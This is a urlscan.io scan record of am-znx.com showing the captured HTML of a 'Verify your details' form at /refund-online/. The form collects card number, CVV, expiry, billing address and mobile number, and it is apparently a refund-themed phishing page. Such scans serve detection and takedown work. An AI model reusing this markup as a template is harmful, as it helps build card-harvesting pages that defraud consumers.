am-znx.com Open in urlscan Pro
51.89.17.207  Public Scan

Form analysis
1 forms found in the DOM

POST /refund-online/

<form method="post" enctype="multipart/form-data" id="gform_1" action="/refund-online/">
  <div class="gform_body gform-body">
    <div id="gform_fields_1" class="gform_fields top_label form_sublabel_below description_below">
      <div id="field_1_6" class="gfield field_sublabel_below field_description_below gfield_visibility_visible"><label class="gfield_label" for="input_1_6">Name on card</label>
        <div class="ginput_container ginput_container_text"><input name="input_6" id="input_1_6" type="text" value="" class="large" aria-invalid="false"> </div>
      </div>
      <div id="field_1_7" class="gfield gfield--width-full field_sublabel_below field_description_below gfield_visibility_visible"><label class="gfield_label" for="input_1_7">Card Number</label>
        <div class="ginput_container ginput_container_text"><input name="input_7" id="input_1_7" type="text" value="" class="large" aria-invalid="false"> </div>
      </div>
      <div id="field_1_10" class="gfield gfield--width-half field_sublabel_below field_description_below gfield_visibility_visible"><label class="gfield_label" for="input_1_10">CVV</label>
        <div class="ginput_container ginput_container_text"><input name="input_10" id="input_1_10" type="text" value="" class="large" aria-invalid="false"> </div>
      </div>
      <div id="field_1_9" class="gfield gfield--width-half field_sublabel_below field_description_below gfield_visibility_visible"><label class="gfield_label" for="input_1_9">Expiry Date</label>
        <div class="ginput_container ginput_container_text"><input name="input_9" id="input_1_9" type="text" value="" class="large" aria-invalid="false"> </div>
      </div>
      <div id="field_1_13" class="gfield gfield--width-full field_sublabel_below field_description_below gfield_visibility_visible"><label class="gfield_label" for="input_1_13">Billing Address</label>
        <div class="ginput_container ginput_container_text"><input name="input_13" id="input_1_13" type="text" value="" class="large" aria-invalid="false"> </div>
      </div>
      <div id="field_1_14" class="gfield gfield--width-half field_sublabel_below field_description_below gfield_visibility_visible"><label class="gfield_label" for="input_1_14">City</label>
        <div class="ginput_container ginput_container_text"><input name="input_14" id="input_1_14" type="text" value="" class="large" aria-invalid="false"> </div>
      </div>
      <div id="field_1_15" class="gfield gfield--width-half field_sublabel_below field_description_below gfield_visibility_visible"><label class="gfield_label" for="input_1_15">Postal Code</label>
        <div class="ginput_container ginput_container_text"><input name="input_15" id="input_1_15" type="text" value="" class="large" aria-invalid="false"> </div>
      </div>
      <div id="field_1_12" class="gfield field_sublabel_below field_description_below gfield_visibility_visible"><label class="gfield_label" for="input_1_12">Mobile Number</label>
        <div class="ginput_container ginput_container_text"><input name="input_12" id="input_1_12" type="text" value="" class="large" aria-invalid="false"> </div>
      </div>
    </div>
  </div>
  <div class="gform_footer top_label"> <input type="submit" id="gform_submit_button_1" class="gform_button button" value="Continue" onclick="if(window[&quot;gf_submitting_1&quot;]){return false;}  window[&quot;gf_submitting_1&quot;]=true;  "
      onkeypress="if( event.keyCode == 13 ){ if(window[&quot;gf_submitting_1&quot;]){return false;} window[&quot;gf_submitting_1&quot;]=true;  jQuery(&quot;#gform_1&quot;).trigger(&quot;submit&quot;,[true]); }">
    <input type="hidden" class="gform_hidden" name="is_submit_1" value="1">
    <input type="hidden" class="gform_hidden" name="gform_submit" value="1">
    <input type="hidden" class="gform_hidden" name="gform_unique_id" value="">
    <input type="hidden" class="gform_hidden" name="state_1" value="WyJbXSIsIjgwYzJhZTVmMTkwZjU0YzEyYjI3NjQwM2QyMGU3NDgyIl0=">
    <input type="hidden" class="gform_hidden" name="gform_target_page_number_1" id="gform_target_page_number_1" value="0">
    <input type="hidden" class="gform_hidden" name="gform_source_page_number_1" id="gform_source_page_number_1" value="1">
    <input type="hidden" name="gform_field_values" value="">
  </div>
</form>

Text Content

VERIFY YOUR DETAILS

Name on card

Card Number

CVV

Expiry Date

Billing Address

City

Postal Code

Mobile Number










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